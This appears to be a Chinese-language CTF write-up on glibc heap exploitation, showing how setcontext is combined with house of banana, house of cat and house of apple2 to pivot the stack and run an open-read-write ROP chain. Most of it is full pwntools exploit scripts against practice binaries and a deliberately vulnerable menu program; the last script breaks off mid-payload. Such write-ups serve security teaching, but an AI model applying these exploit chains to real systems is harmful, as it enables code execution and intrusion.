0x00

在堆中进行ROP,难点就在于劫持rsp寄存器不像在栈中那么天然的容易做到
通过泄露栈地址来控制栈在前文叙述过,现分析一下在堆中劫持rsp的其他方法

0x01 利用 setcontext

setcontext函数是libc中一个独特的函数,它的功能是传入一个 SigreturnFrame 结构指针(定义是 ucontext_t结构体),然后根据 SigreturnFrame 的内容设置各种寄存器(与SROP非常类似)。 因此从 setcontext+53(不同 libc 版本偏移可能不同)的位置开始有如下 gadget,即根据 rdi 指向的 SigreturnFrame 结构设置寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//glibc2.27
0x7ffff7852085 <setcontext+53> mov rsp, qword ptr [rdi + 0xa0]
0x7ffff785208c <setcontext+60> mov rbx, qword ptr [rdi + 0x80]
0x7ffff7852093 <setcontext+67> mov rbp, qword ptr [rdi + 0x78]
0x7ffff7852097 <setcontext+71> mov r12, qword ptr [rdi + 0x48]
0x7ffff785209b <setcontext+75> mov r13, qword ptr [rdi + 0x50]
0x7ffff785209f <setcontext+79> mov r14, qword ptr [rdi + 0x58]
0x7ffff78520a3 <setcontext+83> mov r15, qword ptr [rdi + 0x60]
0x7ffff78520a7 <setcontext+87> mov rcx, qword ptr [rdi + 0xa8]
0x7ffff78520ae <setcontext+94> push rcx
0x7ffff78520af <setcontext+95> mov rsi, qword ptr [rdi + 0x70]
0x7ffff78520b3 <setcontext+99> mov rdx, qword ptr [rdi + 0x88]
0x7ffff78520ba <setcontext+106> mov rcx, qword ptr [rdi + 0x98]
0x7ffff78520c1 <setcontext+113> mov r8, qword ptr [rdi + 0x28]
0x7ffff78520c5 <setcontext+117> mov r9, qword ptr [rdi + 0x30]
0x7ffff78520c9 <setcontext+121> mov rdi, qword ptr [rdi + 0x68]
0x7ffff78520cd <setcontext+125> xor eax, eax EAX => 0
0x7ffff78520cf <setcontext+127> ret

可能会有疑惑没有对rip的控制,其实这里的push rcx结合上后续的ret就是在给rip赋值
以及需要注意的是在glibc2.29及以上,传入的 SigreturnFrame 结构指针不使用rdi,而是改为了rdx,这需要我们寻找到可以控制rdxgadget。在glibc2.31,偏移从setcontext+53变为了setcontext+61
一般对setcontext的利用都是在堆攻击中,一般是两个打法:一是直接打ROP,二是利用mprotect再打一个shellcode
值得一提的是,在高版本的house系列攻击中也可以结合setcontext,尽管rdx不好控制,以house of bananahouse of cat为例,其的攻击链中存在控制rdx的方法

house-of-banana-orw

house of banana中,我们劫持fini_array,在这个过程中

1
2
while (i-- > 0)
((fini_t) array[i]) ();

这里每次调用的函数指针都为上一个的地址减8(也就是逆序遍历),直到最后调用函数指针的基地址array,而每一次调用函数指针,其rdx均为上一次调用的函数指针的地址,而在house of banana攻击中,这个函数指针地址都是被我们劫持的堆地址,那么这里的rdx也就变成了我们布置函数的堆地址。(在glibc2.29+有效)

这样一来,我们布置函数时候,先布置setcontext相关的gadget,再布置一个ret,然后通过l_info[DT_FINI_ARRAYSZ]设置好i为2,那么逆序遍历,先执行ret,执行完后rdx也就被设置成了我们布置这个ret的堆地址,我们在这里布置好sigFrame(其实需要我们根据setcontext+53中控制寄存器所需的偏移来布置数据),接下来执行setcontext+53,那么也就可以实现类似SROP的效果,劫持几乎所有寄存器
我们控制rsp指向我们布置ROP_chain的起始地址,控制rcxret,这样也就启动了ROP链;这里也可以实现一个类似shellcode中二次读的操作,就是控制rcxread,控制rsp为读入的起始地址,然后读入一个ROP_chainread结束返回后也就执行了ROP;又或者是直接设置好寄存器然后控制rcxopen,可以缩短后续的ropchain
实操一下,还是用分析hosue of banana时候板子题,只不过编译到glibc2.31,我们起个ubuntu20.04docker编译一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
//gcc pwn.c -o pwn -w -g
//ubuntu 20.04 GLIBC 2.31-0ubuntu9.18
#include<stdio.h>
#include <unistd.h>
#define num 10
void *chunk_list[num];
int chunk_size[num];

void init()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}

void menu()
{
puts("1.add");
puts("2.show");
puts("3.edit");
puts("4.delete");
puts("5.exit");
puts("Your choice:");
}


int add()
{
int index,size;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("Size:");
scanf("%d",&size);
if(size<0x80||size>0x500)
exit(1);
chunk_list[index] = calloc(size,1);
chunk_size[index] = size;
}

int edit()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("context: ");
read(0,chunk_list[index],chunk_size[index]);
}

int delete()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);

free(chunk_list[index]);
}

int show()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);

puts("context: ");
puts(chunk_list[index]);
}


int main()
{
int choice;
init();
while(1){
menu();
scanf("%d",&choice);
if(choice==5){
exit(0);
}
else if(choice==1){
add();
}
else if(choice==2){
show();
}
else if(choice==3){
edit();
}
else if(choice==4){
delete();
}
}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6_2.31-0ubuntu9.18_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6-dbg_2.31-0ubuntu9.18_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/glibc-source_2.31-0ubuntu9.18_all/usr/src/glibc/glibc-2.31
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


def add(index,size):
io.sendlineafter('Your choice:\n', str(1))
io.sendlineafter('index:\n', str(index))
io.sendlineafter("Size:\n", str(size))

def show(index):
io.sendlineafter('Your choice:\n', str(2))
io.sendlineafter('index:\n', str(index))

def edit(index, content):
io.sendlineafter('Your choice:\n', str(3))
io.sendlineafter('index:\n', str(index))
io.sendafter("context: \n",content)

def free(index):
io.sendlineafter('Your choice:\n', str(4))
io.sendlineafter('index:\n', str(index))


def pwn() :
add(0, 0x428)
add(1, 0x500)
add(2, 0x418)
free(0)
show(0)
io.recvuntil('context: \n')
libc_base = u64(io.recv(6).ljust(8 , b'\x00')) - 96 - 0x1ecb80

add(3, 0x500)
edit(0, b'a'*0x10)
show(0)
io.recvuntil(b'a'*0x10)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x290

log.info("libc_base --> "+hex(libc_base))
log.info("heap_base --> "+hex(heap_base))

rtld_global = libc_base + 0x228060 # 这个是gdb调试出来的, 但是使用0x222060同时l_next修改为0x223740,则不需要爆破,为什么呢?

#link_map3 = libc_base + 0x7f7018
#one_gadget = libc_base + 0x4f302

open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
pop_rdi_ret = libc_base + 0x23b6a
pop_rsi_ret = libc_base + 0x2601f
pop_rdx_r12_ret = libc_base + 0x119431
setcontext = libc_base + libc.sym['setcontext']
ret = libc_base + 0x22679

free(2)
edit(0, b'a'*0x18 + p64(rtld_global-0x20))
add(4, 0x500)

chunk_addr = heap_base + 0xbd0
log.info("chunk_addr --> "+hex(chunk_addr))
link_map = p64(0)
link_map = link_map.ljust(0x18 - 0x10, b'\x00') + p64(libc_base + 0x229740) # l_next
link_map = link_map.ljust(0x28 - 0x10, b'\x00') + p64(chunk_addr) # l_real
link_map = link_map.ljust(0x40 - 0x10, b'\x00') + p64(0x1a) + p64(chunk_addr + 0x1f8)
link_map = link_map.ljust(0x60 - 0x10, b'\x00') + p64(0x1c) + p64(0x10)
link_map = link_map.ljust(0x110 - 0x10, b'\x00') + p64(chunk_addr + 0x40) # l_info[26]
link_map = link_map.ljust(0x120 - 0x10, b'\x00') + p64(chunk_addr + 0x60) # l_info[28]
link_map = link_map.ljust(0x1f8 - 0x10, b'\x00') + p64(setcontext+61) + p64(ret) #这里的ret所被布置地址会被赋给rdx,也就是chunk_addr + 0x200
link_map = link_map.ljust(0x200 - 0x10 + 0x68, b'\x00') + p64(chunk_addr + 0x330) #rdi
link_map = link_map.ljust(0x200 - 0x10 + 0x70, b'\x00') + p64(0) #rsi
link_map = link_map.ljust(0x200 - 0x10 + 0xa0, b'\x00') + p64(chunk_addr + 0x350) #rsp指向ropchain
link_map = link_map.ljust(0x200 - 0x10 + 0xa8, b'\x00') + p64(open) #rcx 会被pop进rip
link_map = link_map.ljust(0x31c - 0x10, b'\x00') + p8(0x8) # l_init_called
link_map = link_map.ljust(0x330 - 0x10, b'\x00') + b'flag\x00\x00\x00\x00'

ropchain = p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + \
p64(chunk_addr + 0x450) + p64(pop_rdx_r12_ret) + \
p64(0x30) + p64(0) + p64(read) + p64(pop_rdi_ret) + \
p64(1) + p64(pop_rsi_ret) + p64(chunk_addr + 0x450) + \
p64(pop_rdx_r12_ret) + p64(0x30) + p64(0) + p64(write)

link_map = link_map.ljust(0x350 - 0x10, b'\x00') + ropchain

edit(2, link_map)

while True:
try:
io = start()
pwn()
io.sendlineafter('Your choice:\n', str(5).encode())
io.interactive()
break
except:
io.close()
continue

house-of-cat-orw

house of cat攻击链中,通过_IO_switch_to_wget_mode来调用_wide_vtable中的函数,其汇编

1
2
3
4
5
6
7
8
9
10
11
0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr64
0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx
0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>

0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]

这里最初的rdi即为传入的_IO_FILE_plus结构体,那么显然我们可以利用伪造的IO来控制rdx,那么也可以打setcontext
例题为强网杯2025 bhp,这里就不放题目代码(见这里
任意地址写\x00,写stdin_IO_buf_base实现改写stdin,再修改_IO_buf_base_IO_buf_end实现任意地址写,最后结合setcontextROP
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b *$rebase(0x1810)
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)
io.recvuntil(b'token: ')

io.send(b'a'*0x28)
io.recvuntil(b'a'*0x28)
leak_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = leak_addr - 0xaddae
log.info("libc_base --> "+hex(libc_base))

target = libc_base + libc.sym['_IO_2_1_stdin_'] + 7*8 + 1
io.sendlineafter(b'Choice:', b'1')
io.sendlineafter(b'Size:', str(target).encode()) # 将 stdin 的 _IO_buf_base 为 0
io.sendlineafter(b'Content:', b'')
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
io.sendafter(b"Choice:", b'a'*0x18 + p64(stdout)+ p64(stdout + 0x1000)) # 改写stdin,后续可以写stdout

pop_rdi_ret = libc_base + 0x10f78b
ret = pop_rdi_ret + 1

fake_IO_addr = stdout

fake_IO = b'./flag' # _flags
fake_IO = fake_IO.ljust(0x30 + 0x20, b'\x00') + p64(fake_IO_addr + 0x10) # rdx = [rax+0x20] / _wide_data->_IO_write_ptr 这里控制rdx
fake_IO = fake_IO.ljust(0x40 + 0x18, b'\x00') + p64(libc_base + libc.sym['setcontext'] + 61) # _wide_data->_wide_vtable->_IO_WOVERFLOW 覆盖为setcontext+61
fake_IO = fake_IO.ljust(0x68, b'\x00') + p64(0) # _chain
fake_IO = fake_IO.ljust(0x88, b'\x00') + p64(libc_base + 0x205710) # _lock 指向可写地址
fake_IO = fake_IO.ljust(0xa0, b'\x00') + p64(fake_IO_addr + 0x30) # _wida_data
fake_IO = fake_IO.ljust(0x10 + 0xa0, b'\x00') + p64(fake_IO_addr + 0x118) + p64(ret) # 通过rdx,打setcontext,控制rsp为fake_IO_addr + 0x118和rip为ret来执行ROP
fake_IO = fake_IO.ljust(0xc0, b'\x00') + p32(0xffffffff) # _mode = -1
fake_IO = fake_IO.ljust(0xd8, b'\x00') + p64(libc_base + libc.sym["_IO_wfile_jumps"] + 0x10) # vtable
fake_IO = fake_IO.ljust(0x30 + 0xe0, b'\x00') + p64(fake_IO_addr + 0x40) # _wida_data->_wide_vtable

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

pop_rsi_ret = libc_base + 0x110a7d
pop_rdx_ret = libc_base + 0xab8a1
pop_rcx_ret = libc_base + 0xa877e

set_rdx = p64(pop_rcx_ret) + p64(stdout + 0x2100) + p64(pop_rdx_ret) + p64(0x100) #这里控制rdx的gadget如下
#0x72ee5a6ab8a1 <_int_malloc+817> pop rdx RDX => 0x100
#0x72ee5a6ab8a2 <_int_malloc+818> or byte ptr [rcx - 0xa], al [__pthread_keys+3894] <= 3 (0 | 3)
#0x72ee5a6ab8a5 <_int_malloc+821> ret <read>
# 如果不控制一下rcx的话程序会崩溃,所以设置为一个可读写地址
ropchain = p64(pop_rdi_ret) + p64(fake_IO_addr) + p64(open_addr) +\
p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stdout + 0x2000) + set_rdx + p64(read_addr) +\
p64(pop_rdi_ret) + p64(2) + p64(pop_rsi_ret) + p64(stdout + 0x2000) + p64(write_addr)

io.sendafter(b'Choice:', fake_IO + ropchain) # 写入stdout

io.interactive()

在其他 IO 攻击中,如果能控制rdx的话,也能利用setcontextROP

house-of-apple-orw

house of apple 的调用链中, _IO_wfile_overflow 调用 _IO_wdoallocbuf时候

1
2
3
4
5
► 0x7165754863b0 <_IO_wfile_overflow+32>     mov    rdx, qword ptr [rdi + 0xa0]     RDX, [0x621fc60eaf80] => 0x621fc60eafe0 ◂— 0
0x7165754863b7 <_IO_wfile_overflow+39> cmp qword ptr [rdx + 0x18], 0 0 - 0 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ac ]
0x7165754863bc <_IO_wfile_overflow+44> ✔ je _IO_wfile_overflow+608 <_IO_wfile_overflow+608>

0x7165754865f0 <_IO_wfile_overflow+608> call _IO_wdoallocbuf <_IO_wdoallocbuf>

如上所示,mov rdx, qword ptr [rdi + 0xa0],此处 rdiIO 结构体,根据偏移,rdx 就是_wide_data 成员。那么也就可以控制 rdx

whuctf2026ezprotobuf 为例。

uaf ,打 tcache posion 来改写 _IO_list_all,这样就比 largebin attack 要方便,可以改为任意地址, 只要改为某个chunk_addr+0x10,就不至于像原来一样不便于控制 fake_IO 的起始 0x10 的数据。

在题目有输出函数的情况下,house of catstdout 是很便利的,但在某些特殊情况下没有输出函数(就例如此题)但是有 exit,自然打 house of apple2 更方便。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#!/usr/bin/env python3
from pwn import *
import chall_pb2

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['/mnt/c/Users/H/AppData/Local/Microsoft/WindowsApps/wt.exe', 'wsl']

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/libc6_2.35-0ubuntu3.13_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b exit
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/libc6-dbg_2.35-0ubuntu3.13_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/glibc-source_2.35-0ubuntu3.13_all/usr/src/glibc/glibc-2.35
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)

def add(idx, size, data = b'\n'):
msg = chall_pb2.Request()
msg.op = chall_pb2.Op.OP_ADD
msg.idx = idx
msg.size = size
msg.data = data
io.send(msg.SerializeToString())
body = io.recv()
resp = chall_pb2.Response()
resp.ParseFromString(body)
log.success("add")
log.info(f"ok: {resp.ok}, msg: {resp.msg}, data: {resp.data}")

def free(idx):
msg = chall_pb2.Request()
msg.op = chall_pb2.Op.OP_DEL
msg.idx = idx
io.send(msg.SerializeToString())
body = io.recv()
resp = chall_pb2.Response()
resp.ParseFromString(body)
log.success("free")
log.info(f"ok: {resp.ok}, msg: {resp.msg}, data: {resp.data}")

def edit(idx, data = b""):
msg = chall_pb2.Request()
msg.op = chall_pb2.Op.OP_EDIT
msg.idx = idx
msg.size = len(data)
msg.data = data
io.send(msg.SerializeToString())
body = io.recv()
resp = chall_pb2.Response()
resp.ParseFromString(body)
log.success("edit")
log.info(f"ok: {resp.ok}, msg: {resp.msg}, data: {resp.data}")

def show(idx):
msg = chall_pb2.Request()
msg.op = chall_pb2.Op.OP_SHOW
msg.idx = idx
io.send(msg.SerializeToString())
body = io.recv()
resp = chall_pb2.Response()
resp.ParseFromString(body)
log.success("show")
log.info(f"ok: {resp.ok}, msg: {resp.msg}, data: {resp.data}")
return body

def _exit():
msg = chall_pb2.Request()
msg.op = chall_pb2.Op.OP_QUIT
io.send(msg.SerializeToString())
body = io.recv()
resp = chall_pb2.Response()
resp.ParseFromString(body)
log.success("exit")
log.info(f"ok: {resp.ok}, msg: {resp.msg}, data: {resp.data}")

add(0, 0x420)
add(1, 0x100)
add(2, 0x100)
free(0)
libc_base = u64(show(0)[14:22]) - 0x21b2f0
log.success("libc_base --> "+hex(libc_base))
free(1)
show(1)
heap_base = (u64(show(1)[14:19].ljust(8, b'\x00')) << 12) - 0x12000
log.success("heap_base --> "+hex(heap_base))
add(10, 0x420)

# gdb.attach(io)
# pause()

target = libc_base + libc.sym["_IO_list_all"]
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
stdout = libc_base + libc.sym["_IO_2_1_stdout_"]
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']

pop_rdi_ret = libc_base + 0x2a3e5
ret = pop_rdi_ret + 1
pop_rsi_ret = libc_base + 0x2be51
pop_rdx_ret = libc_base + 0x11f367 # pop rdx ; pop r12 ; ret
setcontext = libc_base + libc.sym["setcontext"] + 61

chunk_addr = heap_base + 0x20ed0 + 0x10

ropchain = p64(pop_rdi_ret) + p64(chunk_addr + 0x300 - 0x10) + p64(open_addr) +\
p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stdout + 0x2000) + p64(pop_rdx_ret) + p64(0x100)*2 + p64(read_addr) +\
p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(stdout + 0x2000) + p64(write_addr)

fake_IO_file = p32(0xfbadf7f5)
fake_IO_file = fake_IO_file.ljust(0x10, b'\x00') + p64(0) * 2 + p64(1) + p64(2)
fake_IO_file = fake_IO_file.ljust(0xa0, b'\x00') + p64(chunk_addr + 0x100) # wide_data -> rdx
fake_IO_file = fake_IO_file.ljust(0xc0, b'\x00') + p64(0xffffffffffffffff) #mode
fake_IO_file = fake_IO_file.ljust(0xd8, b'\x00') + p64(io_wfile_jumps) #vtable
fake_IO_file = fake_IO_file.ljust(0x100 + 0xa0, b'\x00') + p64(chunk_addr + 0x300) + p64(ret) # rsp rip
fake_IO_file = fake_IO_file.ljust(0x100 + 0xe0, b'\x00') + p64(chunk_addr + 0x200) #_wide_data->_wide_vtable
fake_IO_file = fake_IO_file.ljust(0x200, b'\x00') + p64(0) * 13 + p64(setcontext) # _wide_data->_wide_vtable->doallocate
fake_IO_file = fake_IO_file.ljust(0x300 - 0x10, b'\x00') + b'./flag\x00'
fake_IO_file = fake_IO_file.ljust(0x300, b'\x00') + ropchain # then call this

add(3, 0x3b0)
add(4, 0x3b0)
free(4)
free(3)
edit(3, p64(((heap_base+0x20000)>>12)^target))
# gdb.attach(io)
# pause()
add(5, 0x3b0, fake_IO_file)
add(6, 0x3b0, p64(chunk_addr))
# gdb.attach(io)
# pause()
_exit()

io.interactive()

gadget-to-control-rdx

然而house of banana攻击链中这种汇编指令级别的控制rdx的方法并不稳定,在高版本(哪个版本仍待考证)也许就不行了,那么找到一个可以控制rdxgadget是有必要的,如果能转换rdirdx,那么 house of apple2 或者 house of cat中利用 setcontext来打 orw 会更加泛用

1
2
3
mov rdx, qword ptr [rdi + 8]
mov qword ptr [rsp], rax
call qword ptr [rdx + 0x20]

例如上面的 gadget,可以通过 rdi 来控制 rdx,并且 call 的地址也可控,对于像house of apple2这样只能劫持一次执行的攻击,执行流就不会断掉,也就可以 call setcontext来进行ROP了。

仍然以 whuctf2026ezprotobuf 为例,此时利用上面的 gadgetsetcontext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#!/usr/bin/env python3
from pwn import *
import chall_pb2

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['/mnt/c/Users/H/AppData/Local/Microsoft/WindowsApps/wt.exe', 'wsl']

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/libc6_2.35-0ubuntu3.13_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/libc6-dbg_2.35-0ubuntu3.13_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/glibc-source_2.35-0ubuntu3.13_all/usr/src/glibc/glibc-2.35
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)

def add(idx, size, data = b'\n'):
msg = chall_pb2.Request()
msg.op = chall_pb2.Op.OP_ADD
msg.idx = idx
msg.size = size
msg.data = data
io.send(msg.SerializeToString())
body = io.recv()
resp = chall_pb2.Response()
resp.ParseFromString(body)
log.success("add")
log.info(f"ok: {resp.ok}, msg: {resp.msg}, data: {resp.data}")

def free(idx):
msg = chall_pb2.Request()
msg.op = chall_pb2.Op.OP_DEL
msg.idx = idx
io.send(msg.SerializeToString())
body = io.recv()
resp = chall_pb2.Response()
resp.ParseFromString(body)
log.success("free")
log.info(f"ok: {resp.ok}, msg: {resp.msg}, data: {resp.data}")

def edit(idx, data = b""):
msg = chall_pb2.Request()
msg.op = chall_pb2.Op.OP_EDIT
msg.idx = idx
msg.size = len(data)
msg.data = data
io.send(msg.SerializeToString())
body = io.recv()
resp = chall_pb2.Response()
resp.ParseFromString(body)
log.success("edit")
log.info(f"ok: {resp.ok}, msg: {resp.msg}, data: {resp.data}")

def show(idx):
msg = chall_pb2.Request()
msg.op = chall_pb2.Op.OP_SHOW
msg.idx = idx
io.send(msg.SerializeToString())
body = io.recv()
resp = chall_pb2.Response()
resp.ParseFromString(body)
log.success("show")
log.info(f"ok: {resp.ok}, msg: {resp.msg}, data: {resp.data}")
return body

def _exit():
msg = chall_pb2.Request()
msg.op = chall_pb2.Op.OP_QUIT
io.send(msg.SerializeToString())
body = io.recv()
resp = chall_pb2.Response()
resp.ParseFromString(body)
log.success("exit")
log.info(f"ok: {resp.ok}, msg: {resp.msg}, data: {resp.data}")

add(0, 0x420)
add(1, 0x100)
add(2, 0x100)
free(0)
libc_base = u64(show(0)[14:22]) - 0x21b2f0
log.success("libc_base --> "+hex(libc_base))
free(1)
show(1)
heap_base = (u64(show(1)[14:19].ljust(8, b'\x00')) << 12) - 0x12000
log.success("heap_base --> "+hex(heap_base))
add(10, 0x420)

# gdb.attach(io)
# pause()

target = libc_base + libc.sym["_IO_list_all"]
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
stdout = libc_base + libc.sym["_IO_2_1_stdout_"]
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']

pop_rdi_ret = libc_base + 0x2a3e5
ret = pop_rdi_ret + 1
pop_rsi_ret = libc_base + 0x2be51
pop_rdx_ret = libc_base + 0x11f367 # pop rdx ; pop r12 ; ret
setcontext = libc_base + libc.sym["setcontext"] + 61
#magic = libc_base + 0x5a120 # mov rsp, rdx ; ret
magic_gadget = libc_base + 0x1674d0 # mov rdx, qword ptr [rdi + 8]
# mov qword ptr [rsp], rax
# call qword ptr [rdx + 0x20]

chunk_addr = heap_base + 0x20ed0 + 0x10

ropchain = p64(pop_rdi_ret) + p64(chunk_addr + 0x300 - 0x10) + p64(open_addr) +\
p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stdout + 0x2000) + p64(pop_rdx_ret) + p64(0x100)*2 + p64(read_addr) +\
p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(stdout + 0x2000) + p64(write_addr)

fake_IO_file = p32(0xfbadf7f5)
fake_IO_file = fake_IO_file.ljust(0x8, b'\x00') + p64(chunk_addr + 0x100) + p64(0) * 2 + p64(1) + p64(2) # rdx = [rdi + 8]
fake_IO_file = fake_IO_file.ljust(0xa0, b'\x00') + p64(chunk_addr + 0x100) #wide_data
fake_IO_file = fake_IO_file.ljust(0xc0, b'\x00') + p64(0xffffffffffffffff) #mode
fake_IO_file = fake_IO_file.ljust(0xd8, b'\x00') + p64(io_wfile_jumps) #vtable
fake_IO_file = fake_IO_file.ljust(0x100 + 0x20, b'\x00') + p64(setcontext) # first call this
fake_IO_file = fake_IO_file.ljust(0x100 + 0xa0, b'\x00') + p64(chunk_addr + 0x300) + p64(ret) # rsp rip
fake_IO_file = fake_IO_file.ljust(0x100 + 0xe0, b'\x00') + p64(chunk_addr + 0x200) #_wide_data->_wide_vtable
fake_IO_file = fake_IO_file.ljust(0x200, b'\x00') + p64(0) * 13 + p64(magic_gadget) # _wide_data->_wide_vtable->doallocate
fake_IO_file = fake_IO_file.ljust(0x300 - 0x10, b'\x00') + b'./flag\x00'
